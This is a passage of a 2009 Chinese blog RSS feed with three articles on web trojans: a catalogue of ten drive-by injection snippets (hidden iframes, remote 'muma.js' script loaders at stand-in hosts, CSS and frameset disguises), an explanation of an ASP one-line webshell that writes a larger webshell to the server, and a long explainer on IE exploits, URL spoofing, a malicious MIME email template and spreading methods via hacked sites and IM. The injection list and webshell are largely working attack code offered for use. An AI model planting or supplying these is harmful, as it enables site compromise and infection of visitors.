<img src ="http://www.cnblogs.com/lemtree/aggbug/1457522.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48001/" target="_blank">上海电信计划2012年80%用户实现100M带宽</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>挂马代码大全 </title><link>http://www.cnblogs.com/lemtree/articles/1454050.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Mon, 11 May 2009 04:34:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1454050.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1454050.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1454050.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1454050.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1454050.html</trackback:ping><description><![CDATA[一:框架挂马 <br />
&lt;iframe src=地址 width=0 height=0&gt;&lt;/iframe&gt; <br />
二:js文件挂马 <br />
首先将以下代码 <br />
document.write("&lt;iframe width='0' height='0' src='地址'&gt;&lt;/iframe&gt;"); <br />
保存为xxx.js， <br />
则JS挂马代码为 <br />
&lt;script language=javascript src=xxx.js&gt;&lt;/script&gt; <br />
三:js变形加密 <br />
&lt;SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt&gt;&lt;/script&gt; <br />
muma.txt可改成任意后缀 <br />
四:body挂马 <br />
&lt;body &gt;&lt;/body&gt; <br />
五:隐蔽挂马 <br />
top.document.body.innerHTML = top.document.body.innerHTML + '"r"n&lt;iframe src="<a href="http://www.xxx.com/muma.htm/%22%3E%3C/iframe%3E%27">http://www.xxx.com/muma.htm/"&gt;&lt;/iframe&gt;'</a>; <br />
六:css中挂马 <br />
body { <br />
background-image: url('javascript:document.write("&lt;script src=http://www.XXX.net/muma.js&gt;&lt;/script&gt;")')} <br />
七:JAJA挂马 <br />
&lt;SCRIPT language=javascript&gt; <br />
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); <br />
&lt;/script&gt; <br />
八:图片伪装 <br />
&lt;html&gt; <br />
&lt;iframe src="网马地址" height=0 width=0&gt;&lt;/iframe&gt; <br />
&lt;img src="图片地址"&gt;&lt;/center&gt; <br />
&lt;/html&gt; <br />
九:伪装调用： <br />
&lt;frameset rows="444,0" cols="*"&gt; <br />
&lt;frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"&gt; <br />
&lt;frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"&gt; <br />
&lt;/frameset&gt; <br />
十:高级欺骗 <br />
&lt;a href="<a href="http://www.163.com/">http://www.163.com</a>(迷惑连接地址，显示这个地址指向木马地址)" &gt; 页面要显示的内容 &lt;/a&gt; <br />
&lt;SCRIPT Language="JavaScript"&gt; <br />
function www_163_com () <br />
{ <br />
var url="网马地址"; <br />
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); <br />
} <br />
&lt;/SCRIPT&gt; <img src ="http://www.cnblogs.com/lemtree/aggbug/1454050.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>一句话木马的原理</title><link>http://www.cnblogs.com/lemtree/articles/1454047.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Mon, 11 May 2009 04:31:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1454047.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1454047.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1454047.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1454047.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1454047.html</trackback:ping><description><![CDATA[<div><br />
</div>
<div>2009年02月21日 星期六  15:16</div>
<div id="blog_text">
<p>一句话木马:&lt;SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT&gt;eval(Request.form('#')+'')&lt;/SCRIPT&gt;来解释下它的原理</p>
<p>首先&lt;SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT&gt;是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:</p>
<p>&lt;textarea name=# cols="80" rows="10"&gt;<br />
set iP=server.createObject("Adodb.Stream") <br />
iP.Open <br />
iP.Type=2 <br />
iP.CharSet="gb2312" <br />
iP.writetext request("aoyun") <br />
iP.SaveToFile server.mappath("aoyunwan.asp"),2 <br />
iP.Close <br />
set iP=nothing <br />
response.redirect "aoyunwan.asp" <br />
&lt;/textarea&gt;</p>
<p>学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:</p>
<p>set iP=server.createObject("Adodb.Stream") <br />
iP.Open <br />
iP.Type=2 <br />
iP.CharSet="gb2312" <br />
iP.writetext request("aoyun") <br />
iP.SaveToFile server.mappath("aoyunwan.asp"),2 <br />
iP.Close <br />
set iP=nothing <br />
response.redirect "aoyunwan.asp"</p>
<p>学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp<br />
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!</p>
</div> <img src ="http://www.cnblogs.com/lemtree/aggbug/1454047.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>网马扫盲</title><link>http://www.cnblogs.com/lemtree/articles/1454044.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Mon, 11 May 2009 04:22:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1454044.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1454044.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1454044.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1454044.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1454044.html</trackback:ping><description><![CDATA[<div>
<div style="display: inline"><strong id="t_5fbae8bb0100ewi5"><br />
</strong></div>
</div>
<wbr>&nbsp;<wbr> 当今网络，反病毒软件日益增多，使用的反病毒技术越来越先进，查杀病毒的能力逐渐提高，但病毒制作者并不会罢休，反查杀手段不断升级，新的病毒层出不穷， 形式也越来越多样化，为了躲避查杀，病毒自身的隐蔽性越来越高，针对反病毒软件对传统的病毒传播途径的监控能力提高，造成病毒传播困难的问题，越来越多的 病毒，利用多数反病毒软件产品对恶意脚本监控能力的缺陷，开始利用网页木马这一危害面最广泛，传播效果最佳的方式来传播。
<p>一 、什么是网页木马</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 网页木马是利用网页来进行破坏的病毒，它包含在恶意网页之中，使用脚本语言编写恶意代码，依靠系统的漏洞，如IE浏览器存在的漏洞来实现病毒的传播。当用 户登陆了包含网页病毒的恶意网站时，网页木马便被激活，受影响的系统一旦感染网页病毒，就会遭到破坏，轻则浏览器首页被修改，标题改变，系统自动弹出广 告，重则被装上木马，感染病毒，使用户无法进行正常的使用。甚至会引起系统崩溃，敏感信息丢失等严重后果。由于脚本语言易于掌握，所以网页木马非常容易编 写和修改，造成很难提取特征值，增加了杀毒软件查杀以及用户预防的困难。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作，如改写注册表，添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。</p>
<p>1.利用WSH(Windows Scripting Host Object Reference)等系统控件</p>
<p>WSH，是&#8220;Windows Scripting Host&#8221;的简称，可以直译为&#8220;Windows 脚本宿主&#8221;。在Windows系统中会默认安装，它是内嵌于 Windows 操作系统中的脚本语言工作环境。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时，为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行，就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境，并将其命名为&#8220;Windows Scripting Host&#8221;。WSH 架构于 ActiveX 之上，通过充当 ActiveX 的脚本引擎控制器，WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> WSH也有它的不足之处，任何事物都有两面性，WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点，使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒，并 利用 WSH 的支持功能，让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷，通过JAVAScript，VBScript，ActiveX等网页脚本语言， 可以改动受影响系统的注册表，利用服务器端脚本程序如：ASP，PHP等来记录访问网页者的相关信息，浏览之后，系统目录被完全共享;IP地址、访问时 间、操作系统名称会被网页木马所记录，造成敏感信息的泄露。</p>
<p>2.Microsoft Internet Explorer等浏览器存在漏洞</p>
<p>3.脚本语言</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序，不能独立运行，需要嵌入HTML文件,遵循标准，在支持Java的浏览器(如Microsoft Internet Explorer) 上运行，是Java一个重要的应用分支，它改变了传统网页呆板的界面，在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌 入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷，它是Java与HTML折衷的选择，具有基于对象、简单、安全、动态、跨 平台性等特性。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ActiveX是Microsoft提出的一组使用COM(Component Object Model，部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术，ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时，ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术，如直接嵌入ActiveX控制，或者以ActiveX技术为桥梁，将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比，ActiveX提供了&#8220;代码签名&#8221;(Code Signing)技术保证其安全性。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 造成网页病毒传播和形成的主要原因，是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。</p>
<p>二、网页木马的攻击原理</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入 在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马，也就是说，这个网页能下载木 马到本地并运行(安装)下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行(安装)过程就自动开始。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 打开一个网页，IE浏览器不会自动下载程序和运行程序，这是因为，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些 已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载 程序和运行程序。</p>
<p>1.下载可执行文件.</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> index里有一个代码漏洞，IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 也可以利用这段代码，把这段代码插入到网页源代码的&#8230;之间,运行后就会发现在IE的临时目录Temporary Internet Files下，已经下载了1.exe这个病毒文件。</p>
<p>2.自动运行程序</p>
<p>把这段代码插入到网页源代码的&#8230;之间，然后用IE打开该网页，这段代码可以在IE中自动打开记事本。</p>
<p>这段代码使用了shell.application控件，该控件能使网页获得执行权限，替换代码中的&#8220;Notepad.exe&#8221;(记事本)程序，就可以用它自动运行本地电脑上的任意程序。</p>
<p>通过以上的例子可以看出，利用IE的漏洞，在网页中插入相关的代码，IE完全可以自动下载和运行程序。</p>
<p>三、可能被网页木马利用的漏洞</p>
<p>1.利用URL格式漏洞</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载，但事实上用户下载的却是一个EXE文件。</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 此类攻击，具有相当的隐蔽性，利用URL欺骗的方法有很多种，比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼，还有漏洞百出的&#8220;%30%50&#8221;之类的Unicode编码等等，现在列举比较常见的几种方法：</p>
<p>(1).@标志过滤用户名的解析</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 本来@标志是E-mail地址的用户名与主机的分隔符，但在URL中同样适用，而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是 &#8220;Http://Name：Password@IP地址或主机名&#8221;，其中的&#8220;IP地址或主机名&#8221;是必填项。@标志与其前面的 &#8220;Name：Password&#8221;，意为&#8220;用户名：密码&#8221;，属于可选项。也就是说，在URL中真正起解析作用的网址是从@标志后面开始的，这就是欺骗原理。</p>
<p>比如用户访问&#8220;Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe&#8221;，从表面上看，这是新浪网提供的一个链接，用户会认为这是一个无害的链接，而点击，而实际上 &#8220;www.sina.com&#8221;只是个写成新浪网址形式的用户名(此处的密码为空)，因为后面有@标志。而真正链接的网址却是&#8220;www.Trojan.com.cn/HuiGeZi_Server.exe&#8221; 也就是说这个发来的URL地址其实完全等同于&#8220;Http://www www.Trojan.com.cn/HuiGeZi_Server.exe，而与前面的用户名毫无关系，只是迷惑性可就大大提高了。即使没有这个用户名，也完全不影响浏览器对URL的解析。</p>
<p>(2).十进制的IP地址</p>
<p>常见的IP地址包括四个字节，一般表示形式为&#8220;xxx.xxx.xxx.xxx&#8221;(x表示一个十进制数 码)，例如&#8220;61.135.132.12&#8221;。因为数字IP地址较长，且过于抽象、难以记忆，所以采用域名服务DNS来与之对应。在浏览器地址栏中输入 &#8220;Http://www.sohu.com&#8221;与&#8220;Http://61.135.132.12&#8221;的结果完全一样，都是访问搜狐网站，因为 61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过，用Http://1032291340访问的话，仍然可以打开搜狐网 站，这是因为，四位点分十进制形式的IP地址&#8220;61.135.132.12&#8221;代表一组32位二进制数码，如果合在一起再转换成一个十进制数的话，答案就是 1032291340。转换方法，就是数制的按权展 开：12&#215;2560+132&#215;2561+135&#215;2562+61&#215;2563=12+33792+8847360+1023410176=1032291340(基 数为256，即28)。在上文的例子中提到了&#8220;www.Trojan.com.cn/HuiGeZi_Server.exe&#8221;。这种字母域名有时还能被用 户识破，而在把它对应的IP地址(假设为&#8220;61.135.132.13&#8221;)换算成一个十进制数后，结果是1032291341，再结合@标志过滤用户的解 析，就会变成Http://www.sina.com@1032291341这样的地址，这样就更加隐蔽了。</p>
<p>(3).虚假的网址，网络钓鱼者注册一个域名和真实网站域名十分相似的网址，其用户界面也和真实网站页 面非常相似，然后不URL提供给用户，那么一般的用户被引导到这样的虚拟网址上是难以察觉的，攻击者也就可以利用该网页来诱导用户输入自己的个人身份信 息，达到窃取的目的，例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的"L",一个 是数字"1"，域名服务器将解析到完全不同的IP地址上，但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn，而虚假网站使用域名 www.xxx.xxx,很多人也无法判断</p>
<p>(4).更隐蔽的方法，是根据超文本标记语言的规则，可以对文字制作超链接，这样就使网络钓鱼者有机可 乘。例如文件源代码可以写成："http://www.xxbank.com.cn"。这样，屏幕上显示的是xxxbank的网址，而实际却链接到了 xxbank的虚假网站。</p>
<p>(5).采用伪装手段。可以在浏览器打开虚假网站的时候，弹出一个很隐蔽的小图像，正好覆盖在浏览器显示网址的地方，该小图像显示被仿冒的网站的真实域名，而浏览器真正访问的地址被掩盖在下面。</p>
<p>(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址，但是转移之前制造假冒的弹出窗口，提示用户进行个人登陆的操作，很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作，直到透露出自己的个人身份信息。</p>
<p>(7).可以利用浏览器漏洞窃取个人信息，如IE就曾暴露出一个漏洞，该漏洞使攻击者可以在垃圾邮件中 构造一种数据，用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击，欺骗性更好，可以通过向用户发送包含URL的垃圾邮件 的方式，诱骗用户点击，用户如果不检查邮件的原始代码，根本无法知道自己被浏览器欺骗了。</p>
<p>(8).黑客程序可以修改用户计算机中的HOSTS文件，将特定域名的IP地址设置成自己的虚假网站的 地址，用户访问这些网站时，机器会从HOSTS文件中获得对应的IP。除了上面的方法外，更为隐蔽和目前常用的攻击手法是，攻击者首先攻破一个正常的网 站，然后修改网站的代码，通过跳转语句或嵌入JS脚本的手段，来改造一个挂马的网站，这样当用户点击了包含正常网站的URL时，是不会有戒备心理的，更容 易造成更大的损失。</p>
<p>2.通过ActiveX控件制作网页木马。</p>
<p>通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马，此类网页木马对所有的系统和IE版本都有效，缺点是浏览网页木马时会弹出对话框，询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名，伪装成它们的插件来迷惑用户。</p>
<p>3.利用WSH的缺陷</p>
<p>利用WSH修改注册表，使IE安全设置中&#8220;没有标记为安全的的activex控件和插件&#8221;的默认设置改为启用，然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于，可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。</p>
<p>4.利用MIME漏洞制做的网页木马。</p>
<p>它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞，MIME(Multipurpose Internet Mail Extentions)，一般译作&#8220;多用途的网络邮件扩充协议&#8221;。顾名思义，它可以传送多媒体文件，在一封电子邮件中附加各种格式文件一起送出。现在它已 经演化成一种指定文件类型(Internet的任何形式的消息：E-mail，Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型，其中有一行叫作Content-type的语句，它用来指明传递的就是MIME类型的文件(如text/html或text /plain)。MIME在处理不正常的MIME类型时存在一个问题，攻击者可以创建一个Html格式的E-mail，该E-mail的附件为可执行文 件，通过修改MIME头，使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式：一般情况下如果附件是文本文件，IE会读取文件， 如果是VIDEO CLIP，IE会查看文件;如果附件是图形文件，IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行，但当攻击者更改MIME类型 后，IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序，攻击命令能够按照攻击者设想的情况进行。在Win9X"ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞，微软邮件客户端软件Outlook Express也存在此漏洞。</p>
<p>5.利用系统的图片处理漏洞</p>
<p>这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。</p>
<p>6.HTML文件木马</p>
<p>首先利用工具把EXE格式的文件转化成HTML文件的木马，这样.EXE文件看起来就变成了Htm文件，欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理，也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。</p>
<p>7.Hta木马</p>
<p>Hta网页木马，是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马，此漏洞是因为Internet Explorer在处理对象"Object"标记时没有正确处理要被装载的文件参数。("Object"标记用于插入ActiveX组件等对象到HTML 页面。"Object"标记的"Type"属性用于设置或获取对象的MIME类型。通常合法MIME类型包括"plain/text" 或"application/hta", "audio/x-mpeg"等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性，攻击者可以构建恶意页面，诱使用户访问来运行恶意页面指定的程序 。</p>
<p>8.利用CHM格式漏洞。</p>
<p>这种网页木马首先创建一个Htm文件，包含如下代码：</p>
<p>Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit</p>
<p>四、网页木马的基本用法</p>
<p>理解了网页木马攻击的原理，以及常用的漏洞，就可以写出相关的利用代码。制作出网页木马，然后就是传播网页木马，目前网页木马的主要传播途径是：</p>
<p>1.通过IM及时聊天软件传播</p>
<p>将包含网页木马的地址(网址)通过QQ等聊天软件在网络中分发，一旦有用户访问了该网页，该网页就会在系统中自动下载并运行放置在网络上的木马。</p>
<p>2.攻击知名网站，获得Webshell权限后，在网站中填加恶意代码，如：</p>
<p>(1)iframe</p>
<p>注：';</p>
<p>利用在知名门户网站，填加恶意脚本的攻击行为很多，例如，安天实验室在06年8月份就发现了针对KFC肯德基，雪花啤酒，迈拓硬盘等知名网站的攻击行为。所采用的都是此种方式。</p>
<p>3.利用美丽的网页名称及内容，诱惑用户访问。</p>
<p>很多恶意网页或是站点的制作者，对浏览者的心理进行了分析，对域名的选择和利用非常精明。很多网民对一 些黄色信息比较感兴趣，成为了他们利用的渠道。他们会构建名www.love.com，或是http://bangbus.year.net等具有诱惑性 的名称诱惑用户点击。</p>
<p>4.利用电子邮件等传播。</p>
<p>攻击者，利用电子邮件群发工具，发送包含诱惑性信息的主题邮件，诱惑用户点击其中包含的网页。</p>
<p>五、目前常用的网页木马制作方式</p>
<p>1.Javascript.Exception.Exploit</p>
<p>利用JS+WSH的完美结合，来制作恶意网页。</p>
<p>2.错误的MIME Multipurpose Internet Mail Extentions，多用途的网际邮件扩充协议头.几乎是现在网页木马流行利用的基本趋势，这个漏洞在IE5.0到IE6.0版本中都有。</p>
<p>3.EXE to .BMP + Javascritp.Exception.Exploit用虚假的BMP文件诱惑用户运行。</p>
<p>4.iframe 漏洞的利用</p>
<p>当微软的IE窗口打开另一个窗口时，如果子窗口是另一个域或安全区的话，安全检查应当阻止父窗口访问子 窗口。但事实并非如此，父窗口可以访问子窗口文档的frame，这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。 这会带来严重的安全问题，通过设置URL指向javascript协议，父窗口能在子域环境下运行脚本代码，包括任意的恶意代码。攻击者也能在&#8220;我的电脑 &#8221;区域中运行脚本代码。这更会造成严重的后果。</p>
<p>5.通过安全认证的CAB,COX</p>
<p>此类方法就是在.CAB文件上做手脚，使证书.SPC和密钥.PVK合法</p>
<p>原理：IE读文件时会有文件读不出，就会去&#8220;升级&#8221;这样它会在网页中指定的位找 .cab 并在系统里写入个CID读入.cab里的文件。</p>
<p>方法：.cab是WINDOWS里的压缩文件， IE里所用的安全文件是用签名的，CAB也不例外，所做的CAB是经过安全使用证书引入的。也就是说IE认证攻击，之所以每次都能入侵，是因为它通过的是IE认证下的安全攻击。</p>
<p>6.EXE文件的捆绑</p>
<p>现在的网页木马捆绑机几乎是开始泛滥了，多的数不胜数。再将生成的MHT文件进行加密。</p>
<p>六、常用网页木马运行原理的分析</p>
<p>1.Javascript.Exception.Exploit</p>
<p>常用的攻击代码：</p>
<p>&nbsp;<wbr></p>
<p>Function destroy(){<br />
try<br />
{<br />
//ActiveX initialization 初始化ActiveX，为修改注册表做准备<br />
a1=document.applets[0];<br />
//获取applet运行对象，以下语句指向注册表中有关IE的表项<br />
a1.setCLSID( "{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");<br />
a1.createInstance();<br />
Shl = a1.GetObject();<br />
a1.setCLSID( "{0D43FE01-F093-11CF-8940-00A0C9054228}");<br />
a1.createInstance();<br />
FSO = a1.GetObject();<br />
a1.setCLSID( "{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");<br />
a1.createInstance();<br />
Net = a1.GetObject();<br />
try<br />
{<br />
开始进行破坏<br />
}<br />
}<br />
catch(e)<br />
{}<br />
}<br />
catch(e)<br />
{}<br />
}<br />
function do()<br />
{<br />
//初始化函数，并每隔一秒执行修改程序<br />
setTimeout( "destroy()", 1000); //设定运行时间1秒<br />
}<br />
Do() //进行破坏的执行函数指令</p>
<p>这个代码是JAVAScript编写，很简单，但却可以修改受影响系统的注册表，释放垃圾文件，格式化硬盘等。 2.错误的MIME Multipurpose Internet Mail Extentions,多用途的网际邮件扩充协议头</p>
<p>常用的攻击代码：</p>
<p>&nbsp;<wbr></p>
<p>Content-Type: multipart/related;<br />
type="multipart/alternative";<br />
boundary= "====B===="<br />
--====B====<br />
Content-Type: multipart/alternative;<br />
boundary= "====A===="<br />
--====A====<br />
Content-Type: text/html;<br />
Content-Transfer-Encoding: quoted-printable<br />
--====A====--<br />
--====B====<br />
Content-Type: audio/x-wav;<br />
name= "run.exe"<br />
Content-Transfer-Encoding: base64<br />
Content-ID: ---以下省略AAAAA N+1个---</p>
<p>把run.exe的类型定义为audio/x-wav，这是利用客户端支持的 MIME(多部分网际邮件扩展，Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型audio/x-wav时，IE存在的一个漏洞会将附件认为是音频文件自动尝试打开，，结果导致邮件文件x.eml中的附件run.exe被执行。在win2000上，即使是用鼠标点击下载下来的 x.eml，或是拷贝粘贴，都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer-Encoding: base64 Content-ID: 从中可以看出，由于定义后字符格式为base64，那么一下的代码全部为加密过的代码，里面可以是任何执行的命令：</p>
<p>〈script language=vbs〉<br />
On Error Resume Next&#8226;　容错语句，避免程序崩溃<br />
set aa=CreateObject( "WScript.Shell")&#8226;建立WScript对象<br />
Set fs = CreateObject( "Scripting.FileSystemObject")&#8226;建立文件系统对象<br />
Set dir1 = fs.GetSpecialFolder(0)&#8226;得到Windows路径<br />
Set dir2 = fs.GetSpecialFolder(1)&#8226;得到System路径<br />
&#8230;&#8230;省略&#8230;&#8230;</p>
<p>之所以有的病毒不能准确的清除全部的病毒体，是因为很多杀毒软件，病毒监控只杀当时查到的，却不能处理新建的文件。 3.Iframe 漏洞的利用</p>
<p>常用攻击代码：</p>
<p>&nbsp;<wbr></p>
<p>〈iframe src=run.eml width=0 height=0〉〈/iframe〉</p>
<p>常见的木马运用格式，高度和宽度为0的一个框架网页。 一个框架引用的新方式，对type="text/x-scriptlet" 的调整后，就可以实现和eml格式文件同样的效果。</p>
